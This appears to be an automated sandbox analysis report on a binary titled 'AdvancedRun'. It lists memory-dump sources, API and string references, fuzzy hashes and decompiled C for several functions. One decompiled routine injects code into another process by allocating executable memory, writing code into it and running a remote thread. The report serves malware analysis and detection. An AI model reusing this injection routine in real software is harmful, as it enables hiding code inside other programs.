NtQuerySymbolicLinkObject, xrefs: 00408E93
NtUnloadDriver, xrefs: 00408E6F

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: NtClose$NtLoadDriver$NtOpenSymbolicLinkObject$NtOpenThread$NtQueryInformationThread$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeThread$NtSuspendThread$NtTerminateThread$NtUnloadDriver$ntdll.dll
API String ID: 667068680-4280973841
Opcode ID: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction ID: 9046f7da5280d7be643cb990a4133c03c86fae9b85e8e19c009a309f84c5646f
Opcode Fuzzy Hash: 0e514bbc216ec6ed683cf9c679d1a897357692730977d90f559606f31b4d1217
Instruction Fuzzy Hash: 6611AD74DC8315EECB516FB1BCE9AA67E61EB08760710C437A809632B1D77A8018DF4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A46C, Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 208
librarymemoryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E0040A46C(void* __ecx, void* __eflags, void* _a4, void* _a8, void* _a12, void* _a16, intOrPtr _a20, char _a24, void* _a28, intOrPtr _a32) {
				char _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				char _v564;
				char _v16950;
				char _v33336;
				_Unknown_base(*)()* _v33348;
				_Unknown_base(*)()* _v33352;
				void _v33420;
				void _v33432;
				void _v33436;
				intOrPtr _v66756;
				intOrPtr _v66760;
				void _v66848;
				void _v66852;
				void* __edi;
				void* _t76;
				_Unknown_base(*)()* _t84;
				_Unknown_base(*)()* _t87;
				void* _t90;
				signed int _t126;
				struct HINSTANCE__* _t128;
				intOrPtr* _t138;
				void* _t140;
				void* _t144;
				void* _t147;
				void* _t148;

				E0040B550(0x10524, __ecx);
				_t138 = _a4;
				_v12 = 0;
				 *_t138 = 0;
				_t76 = OpenProcess(0x1f0fff, 0, _a8);
				_a8 = _t76;
				if(_t76 == 0) {
					 *_t138 = GetLastError();
					L30:
					return _v12;
				}
				_v33436 = 0;
				memset( &_v33432, 0, 0x8284);
				_t148 = _t147 + 0xc;
				_t128 = GetModuleHandleW(L"kernel32.dll");
				_v8 = 0;
				E00409C70( &_v8);
				_push("CreateProcessW");
				_push(_t128);
				if(_v8 == 0) {
					_t84 = GetProcAddress();
				} else {
					_t84 = _v8();
				}
				_v33352 = _t84;
				E00409C70( &_v8);
				_push("GetLastError");
				_push(_t128);
				if(_v8 == 0) {
					_t87 = GetProcAddress();
				} else {
					_t87 = _v8();
				}
				_t140 = _a28;
				_v33348 = _t87;
				if(_t140 != 0) {
					_t126 = 0x11;
					memcpy( &_v33420, _t140, _t126 << 2);
					_t148 = _t148 + 0xc;
				}
				_v33420 = 0x44;
				if(_a16 == 0) {
					_v33336 = 1;
				} else {
					E00404923(0x2000,  &_v33336, _a16);
				}
				if(_a12 == 0) {
					_v16950 = 1;
				} else {
					E00404923(0x2000,  &_v16950, _a12);
				}
				if(_a24 == 0) {
					_v564 = 1;
				} else {
					E00404923(0x104,  &_v564, _a24);
				}
				_v24 = _a20;
				_v28 = 0;
				_a16 = VirtualAllocEx(_a8, 0, 0x8288, 0x1000, 4);
				_t90 = VirtualAllocEx(_a8, 0, 0x800, 0x1000, 0x40);
				_a12 = _t90;
				if(_a16 == 0 || _t90 == 0) {
					 *_a4 = GetLastError();
				} else {
					WriteProcessMemory(_a8, _t90, E0040A3DC, 0x800, 0);
					WriteProcessMemory(_a8, _a16,  &_v33436, 0x8288, 0);
					_v20 = 0;
					_v16 = 0;
					_a24 = 0;
					_t144 = E0040A272( &_v20, _a8, _a12, _a16,  &_a24);
					_a28 = _t144;
					if(_t144 == 0) {
						 *_a4 = GetLastError();
					} else {
						ResumeThread(_t144);
						WaitForSingleObject(_t144, 0x7d0);
						CloseHandle(_t144);
					}
					_v66852 = 0;
					memset( &_v66848, 0, 0x8284);
					ReadProcessMemory(_a8, _a16,  &_v66852, 0x8288, 0);
					VirtualFreeEx(_a8, _a16, 0, 0x8000);
					VirtualFreeEx(_a8, _a12, 0, 0x8000);
					if(_a28 != 0) {
						 *_a4 = _v66756;
						_v12 = _v66760;
						if(_a32 != 0) {
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
						}
					}
					if(_v20 != 0) {
						FreeLibrary(_v20);
					}
				}
				goto L30;
			}

0x0040a474
0x0040a47b
0x0040a48a
0x0040a48d
0x0040a48f
0x0040a497
0x0040a49a
0x0040a6f7
0x0040a6f9
0x0040a700
0x0040a700
0x0040a4ad
0x0040a4b3
0x0040a4b8
0x0040a4c6
0x0040a4cc
0x0040a4cf
0x0040a4dd
0x0040a4e2
0x0040a4e3
0x0040a4ea
0x0040a4e5
0x0040a4e5
0x0040a4e5
0x0040a4ec
0x0040a4f6
0x0040a4fe
0x0040a503
0x0040a504
0x0040a50b
0x0040a506
0x0040a506
0x0040a506
0x0040a50d
0x0040a512
0x0040a518
0x0040a51c
0x0040a523
0x0040a523
0x0040a523
0x0040a528
0x0040a537
0x0040a54c
0x0040a539
0x0040a544
0x0040a549
0x0040a558
0x0040a56d
0x0040a55a
0x0040a565
0x0040a56a
0x0040a579
0x0040a591
0x0040a57b
0x0040a589
0x0040a58e
0x0040a5b4
0x0040a5b7
0x0040a5cc
0x0040a5cf
0x0040a5d4
0x0040a5d7
0x0040a6ed
0x0040a5e5
0x0040a5fa
0x0040a60b
0x0040a61a
0x0040a620
0x0040a623
0x0040a62b
0x0040a62f
0x0040a632
0x0040a659
0x0040a634
0x0040a635
0x0040a641
0x0040a648
0x0040a648
0x0040a668
0x0040a66e
0x0040a685
0x0040a69e
0x0040a6a8
0x0040a6ad
0x0040a6bd
0x0040a6c5
0x0040a6c8
0x0040a6d0
0x0040a6d1
0x0040a6d2
0x0040a6d3
0x0040a6d3
0x0040a6c8
0x0040a6d7
0x0040a6dc
0x0040a6dc
0x0040a6d7
0x00000000

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,00000000,?,00402225,?,00000000,?,?,?,?,?,?), ref: 0040A48F
memset.MSVCRT ref: 0040A4B3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00000000), ref: 0040A4C0

Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CE4
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CF1

GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 0040A4EA
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040A50B
VirtualAllocEx.KERNEL32(?,00000000,00008288,00001000,00000004), ref: 0040A5BA
VirtualAllocEx.KERNEL32(?,00000000,00000800,00001000,00000040), ref: 0040A5CF
WriteProcessMemory.KERNEL32(?,00000000,0040A3DC,00000800,00000000), ref: 0040A5FA
WriteProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A60B
ResumeThread.KERNEL32(00000000,?,?,?,?), ref: 0040A635
WaitForSingleObject.KERNEL32(00000000,000007D0), ref: 0040A641
CloseHandle.KERNEL32(00000000), ref: 0040A648
memset.MSVCRT ref: 0040A66E
ReadProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A685
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A69E
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A6A8
FreeLibrary.KERNEL32(?), ref: 0040A6DC
GetLastError.KERNEL32 ref: 0040A6E4
GetLastError.KERNEL32(?,00402225,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040A6F1

Strings

kernel32.dll, xrefs: 0040A4BB
D, xrefs: 0040A528
GetLastError, xrefs: 0040A4FE
CreateProcessW, xrefs: 0040A4DD

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProcProcessVirtual$FreeMemoryModule$AllocErrorLastWritememsetstrlen$CloseLibraryObjectOpenReadResumeSingleThreadWait
String ID: CreateProcessW$D$GetLastError$kernel32.dll
API String ID: 1572607441-20550370
Opcode ID: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction ID: 438c2ff444ec8f0d87d8749b995af300a635889f814f068fc812e1417cff7fa3
Opcode Fuzzy Hash: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction Fuzzy Hash: 557127B1800219EFCB109FA0DD8499E7BB5FF08344F14457AF949B6290CB799E90DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401093, Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401093(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void* __esi;
				void* _t47;
				struct HBRUSH__* _t56;
				void* _t61;
				unsigned int _t63;
				void* _t68;
				struct HWND__* _t69;
				struct HWND__* _t70;
				void* _t73;
				unsigned int _t74;
				struct HWND__* _t76;
				struct HWND__* _t77;
				struct HWND__* _t78;
				struct HWND__* _t79;
				unsigned int _t85;
				struct HWND__* _t87;
				struct HWND__* _t89;
				struct HWND__* _t90;
				struct tagPOINT _t96;
				struct tagPOINT _t98;
				signed short _t103;
				void* _t106;
				void* _t117;

				_t106 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t47 = _a4 - 0x110;
				_t117 = __ecx;
				if(_t47 == 0) {
					__eflags =  *0x40feb0;
					if(__eflags != 0) {
						SetDlgItemTextW( *(__ecx + 0x10), 0x3ee, 0x40feb0);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 0x10), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t117 + 0x10), 0x3ee), 0);
					}
					SetWindowTextW( *(_t117 + 0x10), L"AdvancedRun");
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ea, _t117 + 0x40);
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ec, _t117 + 0x23e);
					E0040103E(_t117, __eflags);
					E00404DA9(_t106,  *(_t117 + 0x10), 4);
					goto L30;
				} else {
					_t61 = _t47 - 1;
					if(_t61 == 0) {
						_t103 = _a8;
						_t63 = _t103 >> 0x10;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							L24:
							__eflags = _t63;
							if(_t63 != 0) {
								goto L30;
							} else {
								EndDialog( *(_t117 + 0x10), _t103 & 0x0000ffff);
								DeleteObject( *(_t117 + 0x43c));
								goto L8;
							}
						} else {
							__eflags = _t103 - 2;
							if(_t103 != 2) {
								goto L30;
							} else {
								goto L24;
							}
						}
					} else {
						_t68 = _t61 - 0x27;
						if(_t68 == 0) {
							_t69 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
							__eflags = _a12 - _t69;
							if(_a12 != _t69) {
								__eflags =  *0x40ff30;
								if( *0x40ff30 == 0) {
									goto L30;
								} else {
									_t70 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
									__eflags = _a12 - _t70;
									if(_a12 != _t70) {
										goto L30;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t56 = GetSysColorBrush(0xf);
							}
						} else {
							_t73 = _t68 - 0xc8;
							if(_t73 == 0) {
								_t74 = _a12;
								_t96 = _t74 & 0x0000ffff;
								_v12.x = _t96;
								_v12.y = _t74 >> 0x10;
								_t76 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
								_push(_v12.y);
								_a8 = _t76;
								_t77 = ChildWindowFromPoint( *(_t117 + 0x10), _t96);
								__eflags = _t77 - _a8;
								if(_t77 != _a8) {
									__eflags =  *0x40ff30;
									if( *0x40ff30 == 0) {
										goto L30;
									} else {
										_t78 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
										_push(_v12.y);
										_t79 = ChildWindowFromPoint( *(_t117 + 0x10), _v12.x);
										__eflags = _t79 - _t78;
										if(_t79 != _t78) {
											goto L30;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorW(GetModuleHandleW(0), 0x67));
									goto L8;
								}
							} else {
								if(_t73 != 0) {
									L30:
									_t56 = 0;
									__eflags = 0;
								} else {
									_t85 = _a12;
									_t98 = _t85 & 0x0000ffff;
									_v12.x = _t98;
									_v12.y = _t85 >> 0x10;
									_t87 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
									_push(_v12.y);
									_a8 = _t87;
									if(ChildWindowFromPoint( *(_t117 + 0x10), _t98) != _a8) {
										__eflags =  *0x40ff30;
										if( *0x40ff30 == 0) {
											goto L30;
										} else {
											_t89 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
											_push(_v12.y);
											_t90 = ChildWindowFromPoint( *(_t117 + 0x10), _v12);
											__eflags = _t90 - _t89;
											if(_t90 != _t89) {
												goto L30;
											} else {
												_push(0x40ff30);
												goto L7;
											}
										}
									} else {
										_push(_t117 + 0x23e);
										L7:
										_push( *(_t117 + 0x10));
										E00404F7E();
										L8:
										_t56 = 1;
									}
								}
							}
						}
					}
				}
				return _t56;
			}

0x00401093
0x00401096
0x00401097
0x0040109b
0x004010a3
0x004010a5
0x00401270
0x00401278
0x004012b3
0x0040127a
0x00401293
0x004012a2
0x004012a2
0x004012c1
0x004012d9
0x004012ea
0x004012ec
0x004012f6
0x00000000
0x004010ab
0x004010ab
0x004010ac
0x00401231
0x00401236
0x00401239
0x0040123d
0x00401249
0x00401249
0x0040124c
0x00000000
0x00401252
0x00401259
0x00401265
0x00000000
0x00401265
0x0040123f
0x0040123f
0x00401243
0x00000000
0x00000000
0x00000000
0x00000000
0x00401243
0x004010b2
0x004010b2
0x004010b5
0x004011e1
0x004011e3
0x004011e6
0x0040120e
0x00401216
0x00000000
0x0040121c
0x00401224
0x00401226
0x00401229
0x00000000
0x0040122f
0x00000000
0x0040122f
0x00401229
0x004011e8
0x004011e8
0x004011ed
0x004011fb
0x00401203
0x00401203
0x004010bb
0x004010bb
0x004010c0
0x00401151
0x0040115a
0x00401168
0x0040116b
0x0040116e
0x00401170
0x00401173
0x00401180
0x00401182
0x00401185
0x004011a4
0x004011ac
0x00000000
0x004011b2
0x004011ba
0x004011bc
0x004011c7
0x004011c9
0x004011cb
0x00000000
0x004011d1
0x00000000
0x004011d1
0x004011cb
0x00401187
0x00401187
0x00401199
0x00000000
0x00401199
0x004010c6
0x004010c8
0x004012fd
0x004012fd
0x004012fd
0x004010ce
0x004010ce
0x004010d7
0x004010e5
0x004010e8
0x004010eb
0x004010ed
0x004010f0
0x00401102
0x0040111d
0x00401125
0x00000000
0x0040112b
0x00401133
0x00401135
0x00401140
0x00401142
0x00401144
0x00000000
0x0040114a
0x0040114a
0x00000000
0x0040114a
0x00401144
0x00401104
0x0040110a
0x0040110b
0x0040110b
0x0040110e
0x00401115
0x00401117
0x00401117
0x00401102
0x004010c8
0x004010c0
0x004010b5
0x004010ac
0x00401303

APIs

GetDlgItem.USER32 ref: 004010EB
ChildWindowFromPoint.USER32 ref: 004010FD
GetDlgItem.USER32 ref: 00401133
ChildWindowFromPoint.USER32 ref: 00401140
GetDlgItem.USER32 ref: 0040116E
ChildWindowFromPoint.USER32 ref: 00401180
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401189
LoadCursorW.USER32(00000000,00000067), ref: 00401192
SetCursor.USER32(00000000,?,?), ref: 00401199
GetDlgItem.USER32 ref: 004011BA
ChildWindowFromPoint.USER32 ref: 004011C7
GetDlgItem.USER32 ref: 004011E1
SetBkMode.GDI32(?,00000001), ref: 004011ED
SetTextColor.GDI32(?,00C00000), ref: 004011FB
GetSysColorBrush.USER32(0000000F), ref: 00401203
GetDlgItem.USER32 ref: 00401224
EndDialog.USER32(?,?), ref: 00401259
DeleteObject.GDI32(?), ref: 00401265
GetDlgItem.USER32 ref: 0040128A
ShowWindow.USER32(00000000), ref: 00401293
GetDlgItem.USER32 ref: 0040129F
ShowWindow.USER32(00000000), ref: 004012A2
SetDlgItemTextW.USER32 ref: 004012B3
SetWindowTextW.USER32(?,AdvancedRun), ref: 004012C1
SetDlgItemTextW.USER32 ref: 004012D9
SetDlgItemTextW.USER32 ref: 004012EA

Strings

AdvancedRun, xrefs: 004012B9

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: AdvancedRun
API String ID: 829165378-481304740
Opcode ID: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction ID: 224fbb10fd18d8c83ffedf6f1f5ae1765c75c0bde1a98b5884793aa0480d770d
Opcode Fuzzy Hash: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction Fuzzy Hash: 12517D31510308EBDB216FA0DD84E6A7BB6FB44304F104A3AFA11B65F1CB79A954EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00408ADB, Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 216
windowCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00408ADB(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, void* _a8, unsigned int _a12) {
				void _v259;
				void _v260;
				void _v515;
				void _v516;
				char _v1048;
				void _v1052;
				void _v1056;
				void _v1560;
				long _v1580;
				void _v3626;
				char _v3628;
				void _v5674;
				char _v5676;
				void _v9770;
				short _v9772;
				void* __edi;
				void* _t45;
				void* _t60;
				int _t61;
				int _t63;
				int _t64;
				long _t68;
				struct HWND__* _t94;
				signed int _t103;
				intOrPtr _t127;
				unsigned int _t130;
				void* _t132;
				void* _t135;

				E0040B550(0x2628, __ecx);
				_t45 = _a8 - 0x110;
				if(_t45 == 0) {
					E00404DA9(__edx, _a4, 4);
					_v9772 = 0;
					memset( &_v9770, 0, 0xffe);
					_t103 = 5;
					memcpy( &_v1580, L"{Unknown}", _t103 << 2);
					memset( &_v1560, 0, 0x1f6);
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					_v516 = 0;
					memset( &_v515, 0, 0xff);
					_v5676 = 0;
					memset( &_v5674, 0, 0x7fe);
					_v3628 = 0;
					memset( &_v3626, 0, 0x7fe);
					_t135 = _t132 + 0x5c;
					_t60 = GetCurrentProcess();
					_t105 =  &_v260;
					_a8 = _t60;
					_t61 = ReadProcessMemory(_t60,  *0x40f3bc,  &_v260, 0x80, 0);
					__eflags = _t61;
					if(_t61 != 0) {
						E00404FE0( &_v5676,  &_v260, 4);
						_pop(_t105);
					}
					_t63 = ReadProcessMemory(_a8,  *0x40f3b0,  &_v516, 0x80, 0);
					__eflags = _t63;
					if(_t63 != 0) {
						E00404FE0( &_v3628,  &_v516, 0);
						_pop(_t105);
					}
					_t64 = E00404BD3();
					__eflags = _t64;
					if(_t64 == 0) {
						E004090EE();
					} else {
						E00409172();
					}
					__eflags =  *0x4101b8; // 0x0
					if(__eflags != 0) {
						L17:
						_v1056 = 0;
						memset( &_v1052, 0, 0x218);
						_t127 =  *0x40f5d4; // 0x0
						_t135 = _t135 + 0xc;
						_t68 = GetCurrentProcessId();
						_push(_t127);
						_push(_t68);
						 *0x40f84c = 0;
						E004092F0(_t105, __eflags);
						__eflags =  *0x40f84c; // 0x0
						if(__eflags != 0) {
							memcpy( &_v1056, 0x40f850, 0x21c);
							_t135 = _t135 + 0xc;
							__eflags =  *0x40f84c; // 0x0
							if(__eflags != 0) {
								wcscpy( &_v1580, E00404B3E( &_v1048));
							}
						}
						goto L20;
					} else {
						__eflags =  *0x4101bc; // 0x0
						if(__eflags == 0) {
							L20:
							_push( &_v3628);
							_push( &_v5676);
							_push( *0x40f3b0);
							_push( *0x40f3bc);
							_push( *0x40f3ac);
							_push( *0x40f394);
							_push( *0x40f398);
							_push( *0x40f3a0);
							_push( *0x40f3a4);
							_push( *0x40f39c);
							_push( *0x40f3a8);
							_push( &_v1580);
							_push( *0x40f5d4);
							_push( *0x40f5c8);
							_push(L"Exception %8.8X at address %8.8X in module %s\r\nRegisters: \r\nEAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X\r\nESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X\r\nEIP=%8.8X\r\nStack Data: %s\r\nCode Data: %s\r\n");
							_push(0x800);
							_push( &_v9772);
							L0040B1EC();
							SetDlgItemTextW(_a4, 0x3ea,  &_v9772);
							SetFocus(GetDlgItem(_a4, 0x3ea));
							L21:
							return 0;
						}
						goto L17;
					}
				}
				if(_t45 == 1) {
					_t130 = _a12;
					if(_t130 >> 0x10 == 0) {
						if(_t130 == 3) {
							_t94 = GetDlgItem(_a4, 0x3ea);
							_a4 = _t94;
							SendMessageW(_t94, 0xb1, 0, 0xffff);
							SendMessageW(_a4, 0x301, 0, 0);
							SendMessageW(_a4, 0xb1, 0, 0);
						}
					}
				}
				goto L21;
			}

0x00408ae3
0x00408aeb
0x00408af3
0x00408b76
0x00408b8a
0x00408b91
0x00408b98
0x00408bb1
0x00408bb3
0x00408bc6
0x00408bcc
0x00408bda
0x00408be0
0x00408bf3
0x00408bfa
0x00408c0b
0x00408c12
0x00408c17
0x00408c1a
0x00408c2c
0x00408c39
0x00408c3d
0x00408c3f
0x00408c41
0x00408c52
0x00408c58
0x00408c58
0x00408c6f
0x00408c71
0x00408c73
0x00408c83
0x00408c89
0x00408c89
0x00408c8a
0x00408c8f
0x00408c91
0x00408c9a
0x00408c93
0x00408c93
0x00408c93
0x00408c9f
0x00408ca5
0x00408caf
0x00408cbc
0x00408cc2
0x00408cc7
0x00408ccd
0x00408cd0
0x00408cd6
0x00408cd7
0x00408cd8
0x00408cde
0x00408ce3
0x00408ceb
0x00408cfe
0x00408d03
0x00408d06
0x00408d0c
0x00408d21
0x00408d27
0x00408d0c
0x00000000
0x00408ca7
0x00408ca7
0x00408cad
0x00408d28
0x00408d2e
0x00408d35
0x00408d36
0x00408d42
0x00408d48
0x00408d4e
0x00408d54
0x00408d5a
0x00408d60
0x00408d66
0x00408d6c
0x00408d72
0x00408d73
0x00408d7f
0x00408d85
0x00408d8a
0x00408d8f
0x00408d90
0x00408da8
0x00408db9
0x00408dbf
0x00408dc5
0x00408dc5
0x00000000
0x00408cad
0x00408ca5
0x00408af6
0x00408afc
0x00408b07
0x00408b2a
0x00408b38
0x00408b53
0x00408b56
0x00408b62
0x00408b6a
0x00408b6a
0x00408b2a
0x00408b07
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00408B20
GetDlgItem.USER32 ref: 00408B38
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00408B56
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00408B62
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00408B6A
memset.MSVCRT ref: 00408B91
memset.MSVCRT ref: 00408BB3
memset.MSVCRT ref: 00408BCC
memset.MSVCRT ref: 00408BE0
memset.MSVCRT ref: 00408BFA
memset.MSVCRT ref: 00408C12
GetCurrentProcess.KERNEL32 ref: 00408C1A
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00408C3D
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00408C6F
memset.MSVCRT ref: 00408CC2
GetCurrentProcessId.KERNEL32 ref: 00408CD0
memcpy.MSVCRT ref: 00408CFE
wcscpy.MSVCRT ref: 00408D21
_snwprintf.MSVCRT ref: 00408D90
SetDlgItemTextW.USER32 ref: 00408DA8
GetDlgItem.USER32 ref: 00408DB2
SetFocus.USER32(00000000), ref: 00408DB9

Strings

Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00408D85
{Unknown}, xrefs: 00408BA5

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction ID: 89cdabe1f300c5598f457b205db6f7bf21b56caa474a1127ebd0a37068e91017
Opcode Fuzzy Hash: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction Fuzzy Hash: FD7184B280021DBEDB219B51DD85EDB377CEF08354F0444BAFA08B6191DB799E848F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040B04D(intOrPtr* __edi, short* _a4) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _v60;
				char _v572;
				void* __esi;
				int _t47;
				void* _t50;
				signed short* _t76;
				void* _t81;
				void* _t84;
				intOrPtr* _t96;
				int _t97;

				_t96 = __edi;
				_t97 = 0;
				_v20 = 0;
				_t47 = GetFileVersionInfoSizeW(_a4,  &_v20);
				_v8 = _t47;
				if(_t47 > 0) {
					_t50 = E00405AA7(__edi);
					_push(_v8);
					L0040B26C();
					_t84 = _t50;
					GetFileVersionInfoW(_a4, 0, _v8, _t84);
					if(VerQueryValueW(_t84, "\\",  &_v12,  &_v8) != 0) {
						_t81 = _v12;
						_t11 = _t81 + 0x30; // 0x4d46e853
						 *((intOrPtr*)(__edi + 4)) =  *_t11;
						_t13 = _t81 + 8; // 0x8d50ffff
						 *__edi =  *_t13;
						_t14 = _t81 + 0x14; // 0x5900004d
						 *((intOrPtr*)(__edi + 0xc)) =  *_t14;
						_t16 = _t81 + 0x10; // 0x65e850ff
						 *((intOrPtr*)(__edi + 8)) =  *_t16;
						_t18 = _t81 + 0x24; // 0xf4680000
						 *((intOrPtr*)(__edi + 0x10)) =  *_t18;
						_t20 = _t81 + 0x28; // 0xbb0040cd
						 *((intOrPtr*)(__edi + 0x14)) =  *_t20;
					}
					if(VerQueryValueW(_t84, L"\\VarFileInfo\\Translation",  &_v16,  &_v8) == 0) {
						L5:
						wcscpy( &_v60, L"040904E4");
					} else {
						_t76 = _v16;
						_push(_t76[1] & 0x0000ffff);
						_push( *_t76 & 0x0000ffff);
						_push(L"%4.4X%4.4X");
						_push(0x14);
						_push( &_v60);
						L0040B1EC();
						if(E0040AFBE( &_v572, _t84,  &_v60, 0x40c4e8) == 0) {
							goto L5;
						}
					}
					E0040AFBE(_t96 + 0x18, _t84,  &_v60, L"ProductName");
					E0040AFBE(_t96 + 0x218, _t84,  &_v60, L"FileDescription");
					E0040AFBE(_t96 + 0x418, _t84,  &_v60, L"FileVersion");
					E0040AFBE(_t96 + 0x618, _t84,  &_v60, L"ProductVersion");
					E0040AFBE(_t96 + 0x818, _t84,  &_v60, L"CompanyName");
					E0040AFBE(_t96 + 0xa18, _t84,  &_v60, L"InternalName");
					E0040AFBE(_t96 + 0xc18, _t84,  &_v60, L"LegalCopyright");
					E0040AFBE(_t96 + 0xe18, _t84,  &_v60, L"OriginalFileName");
					_push(_t84);
					_t97 = 1;
					L0040B272();
				}
				return _t97;
			}

0x0040b04d
0x0040b05e
0x0040b060
0x0040b063
0x0040b06a
0x0040b06d
0x0040b076
0x0040b07b
0x0040b07e
0x0040b084
0x0040b08e
0x0040b0a8
0x0040b0aa
0x0040b0ad
0x0040b0b0
0x0040b0b3
0x0040b0b6
0x0040b0b8
0x0040b0bb
0x0040b0be
0x0040b0c1
0x0040b0c4
0x0040b0c7
0x0040b0ca
